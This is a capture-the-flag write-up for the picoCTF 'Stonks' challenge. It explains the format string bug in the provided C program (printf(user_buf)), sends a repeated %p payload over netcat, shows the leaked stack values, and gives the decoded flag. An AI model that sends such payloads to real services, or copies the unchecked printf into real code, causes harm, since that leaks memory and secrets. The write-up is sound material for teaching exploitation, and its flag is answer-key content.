--- ### Challenge Description I decided to try something noone else has before. I made a bot to automatically trade stonks for me using AI and machine learning. I wouldn't believe you if you told me it's unsecure! [vuln.c](https://mercury.picoctf.net/static/17ba7f9351aca192c45833c658742fe5/vuln.c) `nc mercury.picoctf.net 27912` --- ### Summary The given C program contains a format string vulnerability in the line `printf(user_buf);`. This allows us to leak information off the stack. By sending a series of `%p` format specifiers, we can obtain the flag stored in the stack --- ### Find the Vulnerability The challenge provides us with the following source code: **vuln.c** ```c #include <stdlib.h> #include <stdio.h> #include <string.h> #include <time.h> #define FLAG_BUFFER 128 #define MAX_SYM_LEN 4 typedef struct Stonks { int shares; char symbol[MAX_SYM_LEN + 1]; struct Stonks *next; } Stonk; typedef struct Portfolios { int money; Stonk *head; } Portfolio; int view_portfolio(Portfolio *p) { if (!p) { return 1; } printf("\nPortfolio as of "); fflush(stdout); system("date"); // TODO: implement this in C fflush(stdout); printf("\n\n"); Stonk *head = p->head; if (!head) { printf("You don't own any stonks!\n"); } while (head) { printf("%d shares of %s\n", head->shares, head->symbol); head = head->next; } return 0; } Stonk *pick_symbol_with_AI(int shares) { if (shares < 1) { return NULL; } Stonk *stonk = malloc(sizeof(Stonk)); stonk->shares = shares; int AI_symbol_len = (rand() % MAX_SYM_LEN) + 1; for (int i = 0; i <= MAX_SYM_LEN; i++) { if (i < AI_symbol_len) { stonk->symbol[i] = 'A' + (rand() % 26); } else { stonk->symbol[i] = '\0'; } } stonk->next = NULL; return stonk; } int buy_stonks(Portfolio *p) { if (!p) { return 1; } char api_buf[FLAG_BUFFER]; FILE *f = fopen("api","r"); if (!f) { printf("Flag file not found. Contact an admin.\n"); exit(1); } fgets(api_buf, FLAG_BUFFER, f); int money = p->money; int shares = 0; Stonk *temp = NULL; printf("Using patented AI algorithms to buy stonks\n"); while (money > 0) { shares = (rand() % money) + 1; temp = pick_symbol_with_AI(shares); temp->next = p->head; p->head = temp; money -= shares; } printf("Stonks chosen\n"); // TODO: Figure out how to read token from file, for now just ask char *user_buf = malloc(300 + 1); printf("What is your API token?\n"); scanf("%300s", user_buf); printf("Buying stonks with token:\n"); printf(user_buf); // TODO: Actually use key to interact with API view_portfolio(p); return 0; } Portfolio *initialize_portfolio() { Portfolio *p = malloc(sizeof(Portfolio)); p->money = (rand() % 2018) + 1; p->head = NULL; return p; } void free_portfolio(Portfolio *p) { Stonk *current = p->head; Stonk *next = NULL; while (current) { next = current->next; free(current); current = next; } free(p); } int main(int argc, char *argv[]) { setbuf(stdout, NULL); srand(time(NULL)); Portfolio *p = initialize_portfolio(); if (!p) { printf("Memory failure\n"); exit(1); } int resp = 0; printf("Welcome back to the trading app!\n\n"); printf("What would you like to do?\n"); printf("1) Buy some stonks!\n"); printf("2) View my portfolio\n"); scanf("%d", &resp); if (resp == 1) { buy_stonks(p); } else if (resp == 2) { view_portfolio(p); } free_portfolio(p); printf("Goodbye!\n"); exit(0); } ``` It looks like there is a format string vulnerability in line 93: ```c printf(user_buf); ``` The program allows us to use malicious format strings, and leak information off the stack. --- ### Leak Flag from the Stack Netcat into the challenge: ```bash nc mercury.picoctf.net 27912 # for the first prompt, send "1" 1 ``` Then, send the following payload: ``` %p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p ``` `%p` tells `printf` to print the pointer value of a register or stack. By repeatedly sending a `%p`, we can leak all the pointer values, as seen in the following image: ![[images/Pasted image 20230904224228.png]] ``` 0x87e94300x804b0000x80489c30xf7efcd800xffffffff0x10x87e71600xf7f0a1100xf7efcdc7(nil)0x87e81800x10x87e94100x87e94300x6f6369700x7b4654430x306c5f490x345f74350x6d5f6c6c0x306d5f790x5f79336e0x326663310x306131300xffa6007d0xf7f37af80xf7f0a4400x848653000x1(nil)0xf7d99ce90xf7f0b0c00xf7efc5c00xf7efc0000xffa627a80xf7d8a68d0xf7efc5c00x8048eca0xffa627b4(nil)0xf7f1ef09 ``` --- ### Decode the Flag Let's see what the hex decodes to: ![[images/Pasted image 20230904224416.png]] It looks like we have part of the flag. I cut out the unneeded bytes, and swapped the endianness to recover the flag: ![[images/Pasted image 20230904224658.png]] Flag: `picoCTF{I_l05t_4ll_my_m0n3y_1cf201a0}`